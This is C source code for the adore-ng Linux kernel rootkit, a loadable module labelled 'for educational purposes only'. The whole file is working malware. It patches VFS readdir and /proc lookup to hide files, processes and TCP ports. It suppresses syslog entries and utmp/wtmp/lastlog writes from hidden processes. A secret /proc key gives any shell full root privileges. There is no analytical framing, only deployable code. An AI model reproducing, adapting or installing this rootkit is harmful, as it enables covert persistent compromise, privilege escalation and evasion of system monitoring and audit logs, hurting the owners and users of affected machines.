/*** (C) 2004 by Stealth *** *** http://spider.scorpions.net/~stealth *** http://stealth.7350.org/rootkits *** *** *** (C)'ed Under a BSDish license. Please look at LICENSE-file. *** SO YOU USE THIS AT YOUR OWN RISK! *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! *** *** -> Use ava to get all the things workin'. *** ***/ #define __KERNEL__ #define MODULE #define LINUX26 #ifdef MODVERSIONS #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "adore-ng.h" char *proc_fs = "/proc"; /* default proc FS to hide processes */ MODULE_PARM(proc_fs, "s"); char *root_fs = "/"; /* default FS to hide files */ MODULE_PARM(root_fs, "s"); char *opt_fs = NULL; MODULE_PARM(opt_fs, "s"); typedef int (*readdir_t)(struct file *, void *, filldir_t); readdir_t orig_root_readdir=NULL,orig_opt_readdir=NULL,orig_proc_readdir=NULL; struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *, struct nameidata *) = NULL; static void adore_cleanup(); #ifndef PID_MAX #define PID_MAX 0x8000 #endif static char hidden_procs[PID_MAX/8+1]; inline void hide_proc(pid_t x) { if (x >= PID_MAX || x == 1) return; hidden_procs[x/8] |= 1<<(x%8); } inline void unhide_proc(pid_t x) { if (x >= PID_MAX) return; hidden_procs[x/8] &= ~(1<<(x%8)); } inline char is_invisible(pid_t x) { if (x >= PID_MAX) return 0; return hidden_procs[x/8]&(1<<(x%8)); } /* Theres some crap after the PID-filename on proc * getdents() so the semantics of this function changed: * Make "672" -> 672 and * "672|@\" -> 672 too */ int adore_atoi(const char *str) { int ret = 0, mul = 1; const char *ptr; for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) ; ptr--; while (ptr >= str) { if (*ptr < '0' || *ptr > '9') break; ret += (*ptr - '0') * mul; mul *= 10; ptr--; } return ret; } /* Own implementation of find_task_by_pid() */ struct task_struct *adore_find_task(pid_t pid) { struct task_struct *p; read_lock(&tasklist_lock); for_each_task(p) { if (p->pid == pid) { read_unlock(&tasklist_lock); return p; } } read_unlock(&tasklist_lock); return NULL; } int should_be_hidden(pid_t pid) { struct task_struct *p = NULL; if (is_invisible(pid)) { return 1; } p = adore_find_task(pid); if (!p) return 0; /* If the parent is hidden, we are hidden too XXX */ task_lock(p); if (is_invisible(p->parent->pid)) { task_unlock(p); hide_proc(pid); return 1; } task_unlock(p); return 0; } /* You can control adore-ng without ava too: * * echo > /proc/ will make the shell authenticated, * echo > /proc/-fullprivs will give UID 0, * cat /proc/hide- from such a shell will hide PID, * cat /proc/unhide- will unhide the process */ struct dentry *adore_lookup(struct inode *i, struct dentry *d, struct nameidata *nd) { task_lock(current); if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) { current->flags |= PF_AUTH; current->suid = ADORE_VERSION; } else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "fullprivs", 9) == 0) { current->uid = 0; current->suid = 0; current->euid = 0; current->gid = 0; current->egid = 0; current->fsuid = 0; current->fsgid = 0; cap_set_full(current->cap_effective); cap_set_full(current->cap_inheritable); cap_set_full(current->cap_permitted); } else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "hide-", 5) == 0) { hide_proc(adore_atoi(d->d_iname+5)); } else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "unhide-", 7) == 0) { unhide_proc(adore_atoi(d->d_iname+7)); } else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "uninstall", 9) == 0) { cleanup_module(); } task_unlock(current); if (should_be_hidden(adore_atoi(d->d_iname)) && /* A hidden ps must be able to see itself! */ !should_be_hidden(current->pid)) return NULL; return orig_proc_lookup(i, d, nd); } filldir_t proc_filldir = NULL; spinlock_t proc_filldir_lock = SPIN_LOCK_UNLOCKED; int adore_proc_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) { if (should_be_hidden(adore_atoi(name))) return 0; return proc_filldir(buf, name, nlen, off, ino, x); } int adore_proc_readdir(struct file *fp, void *buf, filldir_t filldir) { int r = 0; spin_lock(&proc_filldir_lock); proc_filldir = filldir; r = orig_proc_readdir(fp, buf, adore_proc_filldir); spin_unlock(&proc_filldir_lock); return r; } filldir_t opt_filldir = NULL; struct super_block *opt_sb[1024]; int adore_opt_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) { struct inode *inode = NULL; int r = 0; uid_t uid; gid_t gid; if ((inode = iget(opt_sb[current->pid % 1024], ino)) == NULL) return 0; uid = inode->i_uid; gid = inode->i_gid; iput(inode); /* Is it hidden ? */ if (uid == ELITE_UID && gid == ELITE_GID) { r = 0; } else r = opt_filldir(buf, name, nlen, off, ino, x); return r; } int adore_opt_readdir(struct file *fp, void *buf, filldir_t filldir) { int r = 0; if (!fp || !fp->f_vfsmnt) return 0; opt_filldir = filldir; opt_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb; r = orig_opt_readdir(fp, buf, adore_opt_filldir); return r; } /* About the locking of these global vars: * I used to lock these via rwlocks but on SMP systems this can cause * a deadlock because the iget() locks an inode itself and I guess this * could cause a locking situation of AB BA. So, I do not lock root_sb and * root_filldir (same with opt_) anymore. root_filldir should anyway always * be the same (filldir64 or filldir, depending on the libc). The worst thing that * could happen is that 2 processes call filldir where the 2nd is replacing * root_sb which affects the 1st process which AT WORST CASE shows the hidden files. * Following conditions have to be met then: 1. SMP 2. 2 processes calling getdents() * on 2 different partitions with the same FS. * Now, since I made an array of super_blocks it must also be that the PIDs of * these procs have to be the same PID modulo 1024. This sitation (all 3 cases must * be met) should be very very rare. */ filldir_t root_filldir = NULL; struct super_block *root_sb[1024]; int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) { struct inode *inode = NULL; int r = 0; uid_t uid; gid_t gid; if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL) return 0; uid = inode->i_uid; gid = inode->i_gid; iput(inode); /* Is it hidden ? */ if (uid == ELITE_UID && gid == ELITE_GID) { r = 0; } else r = root_filldir(buf, name, nlen, off, ino, x); return r; } int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir) { int r = 0; if (!fp || !fp->f_vfsmnt) return 0; root_filldir = filldir; root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb; r = orig_root_readdir(fp, buf, adore_root_filldir); return r; } int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir) { struct file *filep; if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) { return -1; } if (orig_readdir) *orig_readdir = filep->f_op->readdir; filep->f_op->readdir = new_readdir; filp_close(filep, 0); return 0; } int unpatch_vfs(const char *p, readdir_t orig_readdir) { struct file *filep; if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) { return -1; } filep->f_op->readdir = orig_readdir; filp_close(filep, 0); return 0; } char *strnstr(const char *haystack, const char *needle, size_t n) { char *s = strstr(haystack, needle); if (s == NULL) return NULL; if (s-haystack+strlen(needle) <= n) return s; else return NULL; } struct proc_dir_entry *proc_find_tcp() { struct proc_dir_entry *p = proc_net->subdir; while (strcmp(p->name, "tcp")) p = p->next; return p; } #define NET_CHUNK 150 struct tcp_seq_afinfo { struct module *owner; char *name; unsigned short family; int (*seq_show) (struct seq_file *, void *); struct file_operations *seq_fops; }; int (*orig_tcp4_seq_show)(struct seq_file*, void *) = NULL; int adore_tcp4_seq_show(struct seq_file *seq, void *v) { int i = 0, r = 0; char port[12]; r = orig_tcp4_seq_show(seq, v); for (i = 0; HIDDEN_SERVICES[i]; ++i) { sprintf(port, ":%04X", HIDDEN_SERVICES[i]); /* Ignore hidden blocks */ if (strnstr(seq->buf + seq->count-NET_CHUNK,port,NET_CHUNK)) { seq->count -= NET_CHUNK; break; } } return r; } static int (*orig_unix_dgram_recvmsg)(struct kiocb *, struct socket *, struct msghdr *, size_t, int) = NULL; static struct proto_ops *unix_dgram_ops = NULL; int adore_unix_dgram_recvmsg(struct kiocb *kio, struct socket *sock, struct msghdr *msg, size_t size, int flags) { struct sock *sk = NULL; int noblock = flags & MSG_DONTWAIT; struct sk_buff *skb = NULL; int err; struct ucred *creds = NULL; int not_done = 1; if (strcmp(current->comm, "syslogd") != 0 || !msg || !sock) goto out; sk = sock->sk; err = -EOPNOTSUPP; if (flags & MSG_OOB) goto out; do { msg->msg_namelen = 0; skb = skb_recv_datagram(sk, flags|MSG_PEEK, noblock, &err); if (!skb) goto out; creds = UNIXCREDS(skb); if (!creds) goto out; if ((not_done = should_be_hidden(creds->pid))) skb_dequeue(&sk->sk_receive_queue); } while (not_done); out: err = orig_unix_dgram_recvmsg(kio, sock, msg, size, flags); return err; } static struct file *var_files[] = { NULL, NULL, NULL, NULL }; static char *var_filenames[] = { "/var/run/utmp", "/var/log/wtmp", "/var/log/lastlog", NULL }; static ssize_t (*orig_var_write)(struct file *, const char *, size_t, loff_t *) = NULL; static ssize_t adore_var_write(struct file *f, const char *buf, size_t blen, loff_t *off) { int i = 0; /* If its hidden and if it has no special privileges and * if it tries to write to the /var files, fake it */ if (should_be_hidden(current->pid) && !(current->flags & PF_AUTH)) { for (i = 0; var_filenames[i]; ++i) { if (var_files[i] && var_files[i]->f_dentry->d_inode->i_ino == f->f_dentry->d_inode->i_ino) { *off += blen; return blen; } } } return orig_var_write(f, buf, blen, off); } static int patch_syslog() { struct socket *sock = NULL; /* PF_UNIX, SOCK_DGRAM */ if (sock_create(1, 2, 0, &sock) < 0) return -1; if (sock && (unix_dgram_ops = sock->ops)) { orig_unix_dgram_recvmsg = unix_dgram_ops->recvmsg; unix_dgram_ops->recvmsg = adore_unix_dgram_recvmsg; sock_release(sock); } return 0; } static int __init adore_init() { struct proc_dir_entry *pde = NULL; struct tcp_seq_afinfo *t_afinfo = NULL; int i = 0, j = 0; memset(hidden_procs, 0, sizeof(hidden_procs)); pde = proc_find_tcp(); t_afinfo = (struct tcp_seq_afinfo*)pde->data; if (t_afinfo) { orig_tcp4_seq_show = t_afinfo->seq_show; t_afinfo->seq_show = adore_tcp4_seq_show; } orig_proc_lookup = proc_root.proc_iops->lookup; proc_root.proc_iops->lookup = adore_lookup; patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir); patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir); if (opt_fs) patch_vfs(opt_fs, &orig_opt_readdir, adore_opt_readdir); patch_syslog(); j = 0; for (i = 0; var_filenames[i]; ++i) { var_files[i] = filp_open(var_filenames[i], O_RDONLY, 0); if (IS_ERR(var_files[i])) { var_files[i] = NULL; continue; } if (!j) { /* just replace one time, its all the same FS */ orig_var_write = var_files[i]->f_op->write; var_files[i]->f_op->write = adore_var_write; j = 1; } } return 0; } static void __exit adore_cleanup() { struct proc_dir_entry *pde = NULL; struct tcp_seq_afinfo *t_afinfo = NULL; int i = 0, j = 0; static int cleaned = 0; if (cleaned) return; pde = proc_find_tcp(); t_afinfo = (struct tcp_seq_afinfo*)pde->data; if (t_afinfo && orig_tcp4_seq_show) t_afinfo->seq_show = orig_tcp4_seq_show; proc_root.proc_iops->lookup = orig_proc_lookup; unpatch_vfs(proc_fs, orig_proc_readdir); unpatch_vfs(root_fs, orig_root_readdir); if (orig_opt_readdir) unpatch_vfs(opt_fs, orig_opt_readdir); /* In case where syslogd wasnt found in init_module() */ if (unix_dgram_ops && orig_unix_dgram_recvmsg) unix_dgram_ops->recvmsg = orig_unix_dgram_recvmsg; j = 0; for (i = 0; var_filenames[i]; ++i) { if (var_files[i]) { if (!j) { var_files[i]->f_op->write = orig_var_write; j = 1; } filp_close(var_files[i], 0); } } cleaned = 1; } module_init(adore_init); module_exit(adore_cleanup); MODULE_LICENSE("GPL");